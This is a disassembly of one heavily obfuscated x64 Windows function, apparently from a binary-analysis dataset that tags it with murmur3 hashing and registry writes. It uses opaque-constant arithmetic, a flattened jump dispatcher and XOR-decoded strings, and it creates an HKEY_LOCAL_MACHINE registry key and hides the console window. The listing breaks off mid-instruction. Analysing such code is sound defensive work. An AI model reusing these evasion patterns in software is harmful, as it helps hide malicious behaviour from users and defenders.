Function at 0x1403b849c
Capabilities:
Hash data using murmur3
Set registry value

Disassembly:
push rax
pushf
mov eax, 0x5dd5453d
pushf
not eax
add eax, 0xc7eebe18
xor eax, 0x8b56e495
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xba3a8abf
xor eax, 0xb4659933
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xac965bd7
xor eax, 0xb0bbc9f5
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xc915c98e
xor eax, 0xd531ebbe
rol eax, 0xee
popf
cmp eax, 4
jne 0x1403b84ff
popf
pop rax
jmp 0x1403ba7dd
cmp eax, 0
jne 0x1403b850e
popf
pop rax
jmp 0x1403b85ef
cmp eax, 3
jne 0x1403b851d
popf
pop rax
jmp 0x1403ba06a
cmp eax, 1
jne 0x1403b852c
popf
pop rax
jmp 0x1403b944d
cmp eax, 0xd
jne 0x1403b853b
popf
pop rax
jmp 0x1403bde17
cmp eax, 7
jne 0x1403b854a
popf
pop rax
jmp 0x1403bb6ec
cmp eax, 0xe
jne 0x1403b8559
popf
pop rax
jmp 0x1403bde5a
cmp eax, 0xb
jne 0x1403b8568
popf
pop rax
jmp 0x1403bdce8
cmp eax, 0xc
jne 0x1403b8577
popf
pop rax
jmp 0x1403bdd71
cmp eax, 8
jne 0x1403b8586
popf
pop rax
jmp 0x1403bb755
cmp eax, 0x10
jne 0x1403b8595
popf
pop rax
jmp 0x1403bdf36
cmp eax, 2
jne 0x1403b85a4
popf
pop rax
jmp 0x1403b9a6c
cmp eax, 9
jne 0x1403b85b3
popf
pop rax
jmp 0x1403bbfde
cmp eax, 0xa
jne 0x1403b85c2
popf
pop rax
jmp 0x1403bcece
cmp eax, 6
jne 0x1403b85d1
popf
pop rax
jmp 0x1403bb33d
cmp eax, 0xf
jne 0x1403b85e0
popf
pop rax
jmp 0x1403bdebe
cmp eax, 5
jne 0x1403b85ef
popf
pop rax
jmp 0x1403babfe
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xeb0
lea rcx, [rsp + 0x2c0]
call fcn.1403ccab9
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0xbdc654e7
pushf
not ecx
add ecx, 0xa8f4eed3
xor ecx, 0xbe3b6b35
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0x8fb518af
xor ecx, 0xd81ed332
rol ecx, 0x70
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 0x676e3e87
pushf
not ecx
add ecx, 0x8b69ca36
xor ecx, 0x82312e0c
rol ecx, 0x8e
popf
pushf
not ecx
add ecx, 0xb7494ef6
xor ecx, 0xb7ea5605
rol ecx, 0xba
popf
pushf
not ecx
add ecx, 0xeb155110
xor ecx, 0xd02d054d
rol ecx, 0x93
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x180], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x188], al
movabs rax, 0x75bb51895e2861be
pushf
not rax
add rax, 0x5d6c5678
xor rax, 0x68f49c8e
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x78dfe51b
xor rax, 0x79fb78ce
rol rax, 0x34
popf
pushf
not rax
add rax, 0x562fe921
xor rax, 0x55d96c36
rol rax, 0x31
popf
pushf
not rax
add rax, 0x43d1dc81
xor rax, 0x549ab22f
rol rax, 0x48
popf
mov qword [rsp + 0x490], rax
movabs rax, 0x8c7382c43917b740
pushf
not rax
add rax, 0x4328fcb9
xor rax, 0x7d1e4a9f
rol rax, 0x12
popf
pushf
not rax
add rax, 0x522d45e4
xor rax, 0x571297e3
rol rax, 0x68
popf
pushf
not rax
add rax, 0x40de84f9
xor rax, 0x63a50ba7
rol rax, 0x32
popf
pushf
not rax
add rax, 0x55d92a79
xor rax, 0x6ef6260c
rol rax, 0x6a
popf
mov qword [rsp + 0x498], rax
movabs rax, 0xa0fdf250ec3f1fd0
pushf
not rax
add rax, 0x5487dee5
xor rax, 0x56cdc20d
rol rax, 0xe
popf
pushf
not rax
add rax, 0x70d9ee2f
xor rax, 0x68c13667
rol rax, 0x98
popf
pushf
not rax
add rax, 0x68eed313
xor rax, 0x603f7fe8
rol rax, 0xc4
popf
mov qword [rsp + 0x4a0], rax
movabs rax, 0x6dd9141939e6b067
pushf
not rax
add rax, 0x6650aeb9
xor rax, 0x73b32523
rol rax, 0x67
popf
pushf
not rax
add rax, 0x5fd228d7
xor rax, 0x5c487c31
rol rax, 0x3d
popf
pushf
not rax
add rax, 0x662ce096
xor rax, 0x4b1bd62d
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x772ad6be
xor rax, 0x7c6a490f
rol rax, 0x9f
popf
mov qword [rsp + 0x4a8], rax
movabs rax, 0xeff4bb90604aac7c
pushf
not rax
add rax, 0x6b893c53
xor rax, 0x5c237570
rol rax, 0x47
popf
pushf
not rax
add rax, 0x5d657dac
xor rax, 0x538607e7
rol rax, 0x9a
popf
mov qword [rsp + 0x4b0], rax
movabs rax, 0xf881e2b98176c2f5
pushf
not rax
add rax, 0x49b7bb86
xor rax, 0x4325a488
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x59898649
xor rax, 0x5e26ce0f
rol rax, 0xac
popf
pushf
not rax
add rax, 0x57d78561
xor rax, 0x70a0ab4c
rol rax, 0xcb
popf
mov qword [rsp + 0x4b8], rax
movabs rax, 0x9de803dd77ad2787
pushf
not rax
add rax, 0x5510645c
xor rax, 0x5c8d1a75
rol rax, 0x66
popf
pushf
not rax
add rax, 0x494ae829
xor rax, 0x5d124957
rol rax, 0xee
popf
pushf
not rax
add rax, 0x72cad956
xor rax, 0x7c08c250
rol rax, 0x60
popf
pushf
not rax
add rax, 0x7b76ff5d
xor rax, 0x71dcefdb
rol rax, 0x12
popf
mov qword [rsp + 0x4c0], rax
movabs rax, 0x555b01fb53b2cc8e
pushf
not rax
add rax, 0x7d6317dd
xor rax, 0x4b8a206f
rol rax, 0x5e
popf
pushf
not rax
add rax, 0x79ab0d6b
xor rax, 0x59ba52af
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x797f0e79
xor rax, 0x64978251
rol rax, 0xa2
popf
mov qword [rsp + 0x4c8], rax
movabs rax, 0xac17db7e833f13e6
pushf
not rax
add rax, 0x48674674
xor rax, 0x6c21e274
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x731d0358
xor rax, 0x7ddeecdf
rol rax, 0xc5
popf
pushf
not rax
add rax, 0x670ea3db
xor rax, 0x69111d91
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x7dd664b0
xor rax, 0x5dc78bbc
rol rax, 0x84
popf
mov qword [rsp + 0x4d0], rax
movabs rax, 0xe8e561bd571cc868
pushf
not rax
add rax, 0x4d2d08ed
xor rax, 0x528b2c60
rol rax, 0x48
popf
pushf
not rax
add rax, 0x62a20376
xor rax, 0x400c0b2f
rol rax, 0xd7
popf
mov qword [rsp + 0x4d8], rax
movabs rax, 0x79d03dd7420c65c6
pushf
not rax
add rax, 0x5b6e9c94
xor rax, 0x7497c838
rol rax, 0xae
popf
pushf
not rax
add rax, 0x5099a480
xor rax, 0x46617291
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x7cd1e94f
xor rax, 0x559a199c
rol rax, 0xb4
popf
mov qword [rsp + 0x730], rax
movabs rax, 0x79669455da21aa13
pushf
not rax
add rax, 0x743b43a8
xor rax, 0x666f9ac6
rol rax, 0x44
popf
pushf
not rax
add rax, 0x67f1d3d5
xor rax, 0x612eb949
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x615f0034
xor rax, 0x77f9feca
rol rax, 0x26
popf
pushf
not rax
add rax, 0x480552c2
xor rax, 0x49671ae8
rol rax, 0xe
popf
mov qword [rsp + 0x738], rax
movabs rax, 0x83dadd3114acf78f
pushf
not rax
add rax, 0x7e67453e
xor rax, 0x5a121b4d
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x44074da5
xor rax, 0x67b823f4
rol rax, 0xf
popf
pushf
not rax
add rax, 0x63c450ac
xor rax, 0x5d2b7f9e
rol rax, 0x8a
popf
mov qword [rsp + 0x740], rax
movabs rax, 0x978e278cefc8ffa3
pushf
not rax
add rax, 0x632cabb5
xor rax, 0x6e6791ef
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x782b53c7
xor rax, 0x6c8b8f66
rol rax, 0x96
popf
pushf
not rax
add rax, 0x6c7d76da
xor rax, 0x626176ad
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x5a4d3682
xor rax, 0x407ed8cb
rol rax, 0x22
popf
mov qword [rsp + 0x748], rax
movabs rax, 0xdf745b8c08d3c23d
pushf
not rax
add rax, 0x5227b305
xor rax, 0x7c96b677
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x4edf26d8
xor rax, 0x66021594
rol rax, 0xd8
popf
pushf
not rax
add rax, 0x532ce504
xor rax, 0x4c5f854b
rol rax, 0x31
popf
mov qword [rsp + 0x750], rax
movabs rax, 0xc743824ac0c6aff4
pushf
not rax
add rax, 0x6c53a68d
xor rax, 0x4054b382
rol rax, 0x16
popf
pushf
not rax
add rax, 0x6011241f
xor rax, 0x55b2d1d5
rol rax, 0x85
popf
pushf
not rax
add rax, 0x59a4f49e
xor rax, 0x51265871
rol rax, 0x22
popf
pushf
not rax
add rax, 0x6d7836dd
xor rax, 0x41f4c153
rol rax, 0x94
popf
mov qword [rsp + 0x758], rax
movabs rax, 0xe6ad3ae8918d2e18
pushf
not rax
add rax, 0x580870aa
xor rax, 0x4291f862
rol rax, 3
popf
pushf
not rax
add rax, 0x72daa57c
xor rax, 0x79efb5c7
rol rax, 0x55
popf
pushf
not rax
add rax, 0x5868325d
xor rax, 0x74d276cd
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x63df43db
xor rax, 0x569ff851
rol rax, 0x44
popf
mov qword [rsp + 0x760], rax
movabs rax, 0x1483b2b0770de44c
pushf
not rax
add rax, 0x62991fe2
xor rax, 0x72144708
rol rax, 0x55
popf
pushf
not rax
add rax, 0x6d2bda2c
xor rax, 0x46b4f265
rol rax, 0x76
popf
pushf
not rax
add rax, 0x42351d24
xor rax, 0x7330b3db
rol rax, 0xd
popf
pushf
not rax
add rax, 0x65855053
xor rax, 0x5c16221b
rol rax, 0x51
popf
mov qword [rsp + 0x768], rax
movabs rax, 0x380ae20d7ac5ca1f
pushf
not rax
add rax, 0x67989985
xor rax, 0x5ea0638c
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x454df494
xor rax, 0x5046c285
rol rax, 0xf8
popf
mov qword [rsp + 0x770], rax
movabs rax, 0x63b9c8a4555d6a0b
pushf
not rax
add rax, 0x5f74d681
xor rax, 0x7b08a182
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x76ac7d8b
xor rax, 0x610b5bea
rol rax, 0xf3
popf
mov qword [rsp + 0x778], rax
lea rax, [rsp + 0x32]
mov rdi, rax
xor eax, eax
mov ecx, 0xb206e050
pushf
not ecx
add ecx, 0xbaadfffa
xor ecx, 0x90bb1e0b
rol ecx, 0xef
popf
pushf
not ecx
add ecx, 0xb1c3ec1c
xor ecx, 0xcf3a3278
rol ecx, 0x33
popf
pushf
not ecx
add ecx, 0x913e6366
xor ecx, 0xa42e4126
rol ecx, 0xef
popf
pushf
not ecx
add ecx, 0xe42a22fc
xor ecx, 0xd226765d
rol ecx, 0x9a
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x68], al
movdqa xmm0, xmmword [rsp + 0x730]
movdqa xmmword [rsp + 0xc50], xmm0
movdqa xmm0, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0xa70], xmm0
movdqa xmm0, xmmword [rsp + 0xa70]
pxor xmm0, xmmword [rsp + 0xc50]
movdqa xmmword [rsp + 0xd60], xmm0
movdqa xmm0, xmmword [rsp + 0xd60]
movdqa xmmword [rsp + 0x490], xmm0
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x740]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd90], xmm0
mov rax, qword [rsp + 0x1b0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd80], xmm0
movdqa xmm0, xmmword [rsp + 0xd80]
pxor xmm0, xmmword [rsp + 0xd90]
movdqa xmmword [rsp + 0xda0], xmm0
mov rax, qword [rsp + 0x1b0]
movdqa xmm0, xmmword [rsp + 0xda0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x750]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xdc0], xmm0
mov rax, qword [rsp + 0x1b8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xdb0], xmm0
movdqa xmm0, xmmword [rsp + 0xdb0]
pxor xmm0, xmmword [rsp + 0xdc0]
movdqa xmmword [rsp + 0xdd0], xmm0
mov rax, qword [rsp + 0x1b8]
movdqa xmm0, xmmword [rsp + 0xdd0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x760]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe10], xmm0
mov rax, qword [rsp + 0x1c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xde0], xmm0
movdqa xmm0, xmmword [rsp + 0xde0]
pxor xmm0, xmmword [rsp + 0xe10]
movdqa xmmword [rsp + 0xe20], xmm0
mov rax, qword [rsp + 0x1c0]
movdqa xmm0, xmmword [rsp + 0xe20]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x1c8], rax
lea rax, [rsp + 0x770]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe40], xmm0
mov rax, qword [rsp + 0x1c8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe30], xmm0
movdqa xmm0, xmmword [rsp + 0xe30]
pxor xmm0, xmmword [rsp + 0xe40]
movdqa xmmword [rsp + 0xe50], xmm0
mov rax, qword [rsp + 0x1c8]
movdqa xmm0, xmmword [rsp + 0xe50]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x490]
lea r8, [rsp + 0x2c0]
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.14037b9ee
lea rax, [rsp + 0x33]
mov rdi, rax
xor eax, eax
mov ecx, 0x5d8900dc
pushf
not ecx
add ecx, 0xffd7ddbb
xor ecx, 0xfb963d84
rol ecx, 0x47
popf
pushf
not ecx
add ecx, 0x918f215e
xor ecx, 0xb3e358a9
rol ecx, 0x3e
popf
pushf
not ecx
add ecx, 0xd8250db0
xor ecx, 0xf265c289
rol ecx, 0xa3
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x5383b8f8
pushf
not ecx
add ecx, 0x8e8d48e2
xor ecx, 0x8c45a604
rol ecx, 0xa5
popf
pushf
not ecx
add ecx, 0xc0560fa6
xor ecx, 0xd6d0d16f
rol ecx, 0x19
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x78], al
movabs rax, 0x40c5cc04f70abf85
pushf
not rax
add rax, 0x463cd336
xor rax, 0x4b8d351d
rol rax, 0x40
popf
pushf
not rax
add rax, 0x676390d2
xor rax, 0x70b895f9
rol rax, 0x64
popf
mov qword [rsp + 0x2e0], rax
movabs rax, 0x4a6c8105536b23
pushf
not rax
add rax, 0x5c026253
xor rax, 0x5a9b01e3
rol rax, 0x72
popf
pushf
not rax
add rax, 0x5c7c43db
xor rax, 0x69162e5a
rol rax, 0xac
popf
pushf
not rax
add rax, 0x53a8a48a
xor rax, 0x72315ce5
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x646b93af
xor rax, 0x408bc261
rol rax, 0x94
popf
mov qword [rsp + 0x2e8], rax
movabs rax, 0x8e6ed288b2911855
pushf
not rax
add rax, 0x4d7f77fc
xor rax, 0x6801633e
rol rax, 0x96
popf
pushf
not rax
add rax, 0x5cf86851
xor rax, 0x79e5c005
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x65f7e9a2
xor rax, 0x56f626a3
rol rax, 0xa8
popf
mov qword [rsp + 0x5c0], rax
movabs rax, 0xae7559ebe78786b5
pushf
not rax
add rax, 0x7dc9eb7e
xor rax, 0x55f77d7b
rol rax, 0x25
popf
pushf
not rax
add rax, 0x61a291cd
xor rax, 0x676be89f
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x5bf1feb3
xor rax, 0x7024985d
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x40b84fcd
xor rax, 0x4de7edce
rol rax, 0x30
popf
mov qword [rsp + 0x5c8], rax
lea rax, [rsp + 0x35]
mov rdi, rax
xor eax, eax
mov ecx, 0xc893f9fe
pushf
not ecx
add ecx, 0xff3d1dde
xor ecx, 0x9d2a42be
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0x90cc384c
xor ecx, 0xef80e252
rol ecx, 0xb2
popf
pushf
not ecx
add ecx, 0x8bcdc93b
xor ecx, 0xd42ca247
rol ecx, 0x85
popf
pushf
not ecx
add ecx, 0x9fae82c5
xor ecx, 0x8817f7e7
rol ecx, 0xb7
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x80], al
movdqa xmm0, xmmword [rsp + 0x5c0]
movdqa xmmword [rsp + 0xe70], xmm0
movdqa xmm0, xmmword [rsp + 0x2e0]
movdqa xmmword [rsp + 0xe60], xmm0
movdqa xmm0, xmmword [rsp + 0xe60]
pxor xmm0, xmmword [rsp + 0xe70]
movdqa xmmword [rsp + 0xe80], xmm0
movdqa xmm0, xmmword [rsp + 0xe80]
movdqa xmmword [rsp + 0x2e0], xmm0
lea rax, [rsp + 0x2e0]
mov r8, qword [rsp + 0xec0]
mov rdx, rax
lea rcx, [rsp + 0x2a0]
call fcn.14037b9ee
lea rax, [rsp + 0x2f0]
mov rcx, rax
call fcn.1403926a1
mov qword [rsp + 0x3c0], rax
lea r8, [rsp + 0x198]
mov rdx, qword [rsp + 0x3c0]
mov rcx, 0xffffffff80000002
jmp 0x1403b93ab
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0
je 0x1403b9419
push rax
pushf
mov eax, 0x9f0d1458
pushf
not eax
add eax, 0xd6a3c5c4
xor eax, 0xfabd5d7d
rol eax, 0x38
popf
pushf
not eax
add eax, 0xa4249c75
xor eax, 0xdd1163c2
rol eax, 0x85
popf
pushf
not eax
add eax, 0xf9b01001
xor eax, 0xf0f10906
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xdb8adcbe
xor eax, 0xf68d5cbd
rol eax, 0x89
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0xc0da0df3
pushf
not eax
add eax, 0xdcc314f5
xor eax, 0xa4acf077
rol eax, 0xda
popf
pushf
not eax
add eax, 0x8825bfdf
xor eax, 0xac28a801
rol eax, 0x29
popf
jmp 0x1403b84f0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0xa279641a
pushf
not edx
add edx, 0x83441bc1
xor edx, 0x958708ac
rol edx, 0xfa
popf
pushf
not edx
add edx, 0x808a9156
xor edx, 0xec2638b6
rol edx, 0xfe
popf
pushf
not edx
add edx, 0x8e182bbe
xor edx, 0xcee64df4
rol edx, 4
popf
pushf
not edx
add edx, 0xdaf7698f
xor edx, 0xc1a7fa29
rol edx, 0x71
popf
mov rcx, rax
jmp 0x1403b94b0
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x36]
mov rdi, rax
xor eax, eax
mov ecx, 0x1db5a477
pushf
not ecx
add ecx, 0xd1817c6f
xor ecx, 0xe58dfec7
rol ecx, 0x11
popf
pushf
not ecx
add ecx, 0xb1d8ddae
xor ecx, 0xe0308163
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0x946f263e
xor ecx, 0x83bf5401
rol ecx, 0x7c
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x37]
mov rdi, rax
xor eax, eax
mov ecx, 0x933e2d50
pushf
not ecx
add ecx, 0xd917d2ad
xor ecx, 0xeca9d731
rol ecx, 0x29
popf
pushf
not ecx
add ecx, 0xee8bcac6
xor ecx, 0xd4bc9408
rol ecx, 0x66
popf
pushf
not ecx
add ecx, 0xed266cc2
xor ecx, 0xba02c428
rol ecx, 0xe3
popf
pushf
not ecx
add ecx, 0xd0660bba
xor ecx, 0xe43bbca1
rol ecx, 0x65
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x318], rax
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x90], al
movabs rax, 0x4bb212ac9e0d1d98
pushf
not rax
add rax, 0x56eeb47d
xor rax, 0x4ae55faa
rol rax, 0x96
popf
pushf
not rax
add rax, 0x58822119
xor rax, 0x50c312eb
rol rax, 0x49
popf
mov qword [rsp + 0x3d0], rax
movabs rax, 0x25e6cf9594d9c223
pushf
not rax
add rax, 0x7d66e3e9
xor rax, 0x5ac48627
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x5ae741a7
xor rax, 0x5caf28fe
rol rax, 0x14
popf
pushf
not rax
add rax, 0x58a11a0e
xor rax, 0x7a246b8e
rol rax, 0x74
popf
mov qword [rsp + 0x3d8], rax
movabs rax, 0x4063bcdc0bbe8cd1
pushf
not rax
add rax, 0x5f9fcf28
xor rax, 0x550b3ba3
rol rax, 0xac
popf
pushf
not rax
add rax, 0x7b83aecc
xor rax, 0x70af833a
rol rax, 0x90
popf
pushf
not rax
add rax, 0x4607ffe1
xor rax, 0x7de3f519
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x4c00bac8
xor rax, 0x77a7960b
rol rax, 0x16
popf
mov qword [rsp + 0x3e0], rax
movabs rax, 0x76543bea510f8898
pushf
not rax
add rax, 0x7f4fba71
xor rax, 0x77d0b3c9
rol rax, 0x20
popf
pushf
not rax
add rax, 0x42240d2b
xor rax, 0x4e1fbb05
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x71ab423d
xor rax, 0x633de206
rol rax, 0x38
popf
pushf
not rax
add rax, 0x42eb9415
xor rax, 0x424ab4e3
rol rax, 0x9c
popf
mov qword [rsp + 0x3e8], rax
movabs rax, 0x14d0a1f6c4582582
pushf
not rax
add rax, 0x58d22825
xor rax, 0x7cc2805e
rol rax, 0x64
popf
pushf
not rax
add rax, 0x518105c8
xor rax, 0x4177e645
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x7cf2023b
xor rax, 0x5b619077
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x45bdfc82
xor rax, 0x78ffe7cd
rol rax, 0xe5
popf
mov qword [rsp + 0x670], rax
movabs rax, 0xf2b171c02129e33f
pushf
not rax
add rax, 0x6d746992
xor rax, 0x6ebe8973
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x7de56cc5
xor rax, 0x5864f5b1
rol rax, 0x5e
popf
pushf
not rax
add rax, 0x66b21bba
xor rax, 0x6795c493
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x519bbd8d
xor rax, 0x63cba9f1
rol rax, 0xc0
popf
mov qword [rsp + 0x678], rax
movabs rax, 0x99a530870da27091
pushf
not rax
add rax, 0x7a591715
xor rax, 0x649367bf
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x45bd697a
xor rax, 0x5f829e9c
rol rax, 0x1d
popf
mov qword [rsp + 0x680], rax
movabs rax, 0x7d359be0a66853a6
pushf
not rax
add rax, 0x767c0a2d
xor rax, 0x7fda5499
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x51593dde
xor rax, 0x518c674b
rol rax, 0xaa
popf
pushf
not rax
add rax, 0x4d870898
xor rax, 0x57c87174
rol rax, 0x7f
popf
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x4afed486
pushf
not ecx
add ecx, 0xf7cbbfd6
xor ecx, 0xeeb5db12
rol ecx, 0x97
popf
pushf
not ecx
add ecx, 0xa6bcfa13
xor ecx, 0xffa16c18
rol ecx, 0x5b
popf
pushf
not ecx
add ecx, 0xe3d51a8b
xor ecx, 0xcf97437f
rol ecx, 0xb9
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x98], al
movdqa xmm0, xmmword [rsp + 0x670]
movdqa xmmword [rsp + 0x7f0], xmm0
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0xe90], xmm0
movdqa xmm0, xmmword [rsp + 0xe90]
pxor xmm0, xmmword [rsp + 0x7f0]
movdqa xmmword [rsp + 0x800], xmm0
movdqa xmm0, xmmword [rsp + 0x800]
movdqa xmmword [rsp + 0x3d0], xmm0
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x680]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x820], xmm0
mov rax, qword [rsp + 0x1d0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x810], xmm0
movdqa xmm0, xmmword [rsp + 0x810]
pxor xmm0, xmmword [rsp + 0x820]
movdqa xmmword [rsp + 0x830], xmm0
mov rax, qword [rsp + 0x1d0]
movdqa xmm0, xmmword [rsp + 0x830]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x310], rax
mov rdx, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x318]
call fcn.14027ec45
mov qword [rsp + 0x320], rax
lea rdx, [0x1a3680a23]
pushf
sub rdx, 0x635f5e73
popf
mov rcx, qword [rsp + 0x320]
jmp 0x1403b99d7
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov byte [rsp + 0x39], 0
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x39]
jmp 0x1403bdf36
lea rax, [rsp + 0x3a]
mov rdi, rax
xor eax, eax
mov ecx, 0x27b94fa9
pushf
not ecx
add ecx, 0xe20e390b
xor ecx, 0xd270710f
rol ecx, 0x4c
popf
pushf
not ecx
add ecx, 0xc3b5a5ff
xor ecx, 0xce15b1ad
rol ecx, 0xc3
popf
pushf
not ecx
add ecx, 0xeea9ed19
xor ecx, 0xcde82763
rol ecx, 0xb5
popf
pushf
not ecx
add ecx, 0xc7afad5f
xor ecx, 0x8a9f8624
rol ecx, 0x9c
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x3b]
mov rdi, rax
xor eax, eax
mov ecx, 0xa93cfdc1
pushf
not ecx
add ecx, 0xe06b36cf
xor ecx, 0xfe736da3
rol ecx, 0x46
popf
pushf
not ecx
add ecx, 0x8d604729
xor ecx, 0x83127a1a
rol ecx, 0x35
popf
pushf
not ecx
add ecx, 0xdd1d1bc6
xor ecx, 0xaf8e7899
rol ecx, 0x8d
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
shl rax, 1
mov dword [rsp + 0x1a0], eax
lea rax, [rsp + 0x2a0]
mov rcx, rax
call fcn.1403926a1
mov qword [rsp + 0x330], rax
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0xa0], al
movzx eax, byte [rsp + 0x3b]
mov byte [rsp + 0xa8], al
movabs rax, 0xc083b011922a3a8d
pushf
not rax
add rax, 0x4513c254
xor rax, 0x4546499e
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x447e449b
xor rax, 0x71b96991
rol rax, 0x18
popf
mov qword [rsp + 0x3f0], rax
movabs rax, 0x2671aee760988d69
pushf
not rax
add rax, 0x49510011
xor rax, 0x7be0452c
rol rax, 0x85
popf
pushf
not rax
add rax, 0x7c5cb13e
xor rax, 0x61944337
rol rax, 0x7a
popf
mov qword [rsp + 0x3f8], rax
movabs rax, 0x220f0dc3292b39a6
pushf
not rax
add rax, 0x5409a5b3
xor rax, 0x7ba0a4fe
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x49309034
xor rax, 0x742dbbfe
rol rax, 0x97
popf
pushf
not rax
add rax, 0x6595ec4f
xor rax, 0x4446ec15
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x4f522584
xor rax, 0x7b241a05
rol rax, 0xc6
popf
mov qword [rsp + 0x400], rax
movabs rax, 0x5c2fd72d4816bf7f
pushf
not rax
add rax, 0x62b25976
xor rax, 0x4d41d52c
rol rax, 0x83
popf
pushf
not rax
add rax, 0x6481974b
xor rax, 0x558b522d
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x6bb0be3b
xor rax, 0x720648ff
rol rax, 0x47
popf
mov qword [rsp + 0x408], rax
movabs rax, 0xc4af7d2472d549a7
pushf
not rax
add rax, 0x6d607465
xor rax, 0x5a8c451b
rol rax, 0x10
popf
pushf
not rax
add rax, 0x73827ecb
